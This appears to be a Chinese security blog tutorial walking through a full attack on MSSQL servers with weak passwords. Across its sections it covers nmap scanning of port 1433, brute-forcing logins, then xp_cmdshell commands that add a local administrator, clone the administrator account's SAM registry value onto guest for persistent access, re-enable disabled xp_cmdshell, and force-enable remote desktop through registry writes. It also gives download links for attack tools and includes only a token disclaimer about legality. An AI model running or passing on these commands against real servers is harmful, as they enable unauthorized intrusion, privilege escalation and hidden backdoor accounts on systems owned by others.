【技术分享】针对MSSQL弱口令实战流程梳理与问题记录
作者:admin | 时间:2017-6-6 02:13:25 | 分类:黑客技术 隐藏侧边栏展开侧边栏
1. 端口发现
1.1. 常用工具推荐
常用端口扫描工具,其实很多这里不做过多的说明,本人还是以经典好用的nmap进行实际操练。
nmap
nmap工具的下载,请直接去其官方网站下载即可。
ssport
ssport 是个简单快速的图形化端口扫描工具。
1.2. nmap端口扫描
我们现在进行整个网段的TCP 1433端口扫描,探测下开启了1433端口的服务器地址,具体端口扫描命令如下:
1
|
nmap -p1433 --open x.x.x.0/24
|
扫描结果截图如下:
通过以上nmap的扫描发现,本目标网段存在4台主机开启了远程1433端口服务。
2. 弱口令爆破
2.1. 常用工具推荐
x-scan
hscan
nmap
x-scan 与hscan两款工具(x-scan & hscan)都是自带字典的图形化常见应用的扫描检测工具,他们各自支持扫描检测的应用类型非常丰富,具体的情况这里也不做过多的赘述,我这里仅以hscan和nmap作为实操工具分别进行演练。
2.2. Nmap 弱口令爆破
Nmap 扫描器功能之强大,这里肯定不需要我等小菜过多的说明了,我这里只简单的说下Nmap强大的扫描脚本的使用方法。其实使用也是非常方便的,只要我们找到相应的脚本,直接以文本编辑模式打开脚本,就可以找到具体的使用方法,后面会详细演示给大家,具体过程如下。
2.2.1. 查找ms-sql暴力破击脚本
Nmap的所有相关扫描脚本都存放在Nmap安装目录下的“script”目录下,在我们进入“script”目录后,直接查找ms-sql关键字就可以找到所有与ms-sql相关的扫描脚本,这里我们使用脚本“ms-sql-brute”这个ms-sql暴力爆破模块,其实我们从它的名字也能猜到本模块的功能。
2.2.2. 查看ms-sql-brute脚本使用方法
在查找到nmap脚本后,我们可以直接以文本编辑的模式打开脚本,我们看文本中有个一个单词“@usage”,其实就是使用方法了,在使用方法中已经给出了详细的使用案例,我们直接复制出来,然后在CMD下直接进行修改后即可使用了。
2.2.3. 调用ms-sql-brute脚本进行扫描
竟然是进行ms-sql登录口令的暴力破解,自然就是要用到字典了,有关弱口令字典的内容需要我们自行去收集了,很多的一些扫描工具中都会字典部分弱口令字典,大家平时也可以收集整理起来,以备使用。
那么接下来,我们直接参考扫描脚本中的案例,直接修改了字典的名称和扫描目标即可下发扫描任务了。以下截图分别给出了“单个主机”和“主机列表”的扫描过程截图。
2.3. hscan 弱口令爆破
2.3.1. 配置扫描模块
通过“菜单”-“参数”指定MSSQL 弱口令检查;
2.3.2. 配置扫描参
通过“菜单”-“参数”浏览指定前面发现地址列表。
2.3.3. 发起扫描任务
2.3.4. 扫描结果
3. MSSQL 入侵
至此,我们已经完成对网络中存在弱口令的ms-sql服务的安全扫描检查工作,接下来要进入到真正的入侵渗透压轴大戏了。
3.1. 数据库查询工具推荐
下面分别给大家贴出两个mssql查询分析工具的下载链接,请大家对于工具的使用要慎重,千万不要不要用于非法的攻击行为。网络安全即将发布了,请大家做个遵纪守法的小伙伴。
1) MSSQL 查询分析器
云盘下载:http://pan.baidu.com/s/1slK0tbf 密码:0bdb
2) MSSQL 执行器
下载地址:
http://xiaowang.blog.51cto.com/attachment/200902/1083_1233814542.rar
3) Nmap 脚本连接
对于nmap的使用,我们同样可以使用其提供的ms-sql-xp-cmdshell脚本直接进行提权操作。
3.2. 连接登录数据
我这里演示,使用mssql查询分析器,使用过程中发现比较稳定些,也推荐给大家。现在直接使用mssql分析连接数据库。
3.3. 添加系统账号并提权
3.3.1. 第一步:使用xp_cmdshell添加普通账号test
添加账号:
1
|
xp_cmdshell ‘net user test 123 /add’
|
3.3.2. 第二步:使用xp_cmdshell进行test用户提权
提权语句:
1
|
xp_cmeshell ‘net localgroup administrators test /add’
|
3.3.3. 第三步:查询用户提权情况
用户查询:
1
|
xp_cmdshell ‘net user test’
|
3.4. 查询3389端口是否开启
3.5. 维持访问
对于如何保持访问,我们可以通过“破解系统超级管理员密码”或“克隆系统管理员权限”都可以,这里为了对前面学习的新技能进行回顾,我这里使用xp_regread与xp_regwrite进行administrator账户进行权限克隆的实操演示。
3.5.1. 第一步:查询administrator账号的value值
1
|
xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'
|
3.5.2.第二步:将administrator账号的value值赋给guest
1
|
xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x......
|
3.5.3.第三步:启用guest账户并提权
Windows2000以上的系统环境,guest用户必须在“Remote Desk Users”以上权限的用户组中,才允许你远程登录系统,故需要将guest用户添加到超级用户管理组中。
我们直接使用xp_cmdshell存储过程进行guest普通账号的提权,具体命令如下。
注:前面分享的原理性文章中已经补充说明过,windows2000系统是无需进行这里的第三步的操作。
4. 常见问题记录
最后对于个人在实际渗透中遇到的各种的问题进行下小结,并将解决问题的实操方法与情况记录如下,分享于大家。
4.1. 存储过程不能调用
4.1.1. 如果提示xp_cmdshell被删除了怎么办?
运行以下语句进行恢复:
1
|
exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll'
|
4.1.2.如果提示xp_cmdshell被停用户怎么办法
运行以下语句进行恢复:
1
|
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
|
4.2. 3389服务关闭了怎么办?
4.2.1. Windows 2003环境RDP服务开启
执行以下命令查看语句,检查c:\更目录是否有windows目录,如果有则说明当前系统为windows 2003系统及以上系统。
1
|
exec master..xp_cmdshell 'dir c:\'
|
随后我们再执行以下语句进3389端口服务的开启。
1
2
3
4
5
6
7
8
|
exec master..xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg'
exec master..xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'regedit /s 3389.reg'
|
注:已经验证语句执行完毕后,无需重启,即可直接远程登录。
4.2.2. windows 2000环境RDP服务开启
看看根目录下如果有WINNT目录,则一般是win2000,随后再执行下面的语句来开启其3389服务。
1
2
3
4
|
exec master..xp_cmdshell 'dir c:\'
exec master..xp_cmdshell 'echo [Components] > c:\winnt\3389'
exec master..xp_cmdshell 'echo TSEnable = . >> c:\winnt\3389'
exec master..xp_cmdshell ·'sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\winnt\3389 /q'
|
注:window 2000系统需要重启后,配置才能生效。
4.3. 使用3389连接时,提示连接用户必须有远程连接的权限怎么办?
直接将测试用户添加到“administrators”用户组,执行语句如下:
1
|
exec master..xp_cmdshell 'net localgroup administrators test /add'
|
4.4. 连接3389,提示连接用户已满怎么办?
可以直接在“运行”中执行以下命令来调用“远程桌面管理工具”:
1
|
mstsc /admin
|
本文由 安全客 原创发布,作者:myles007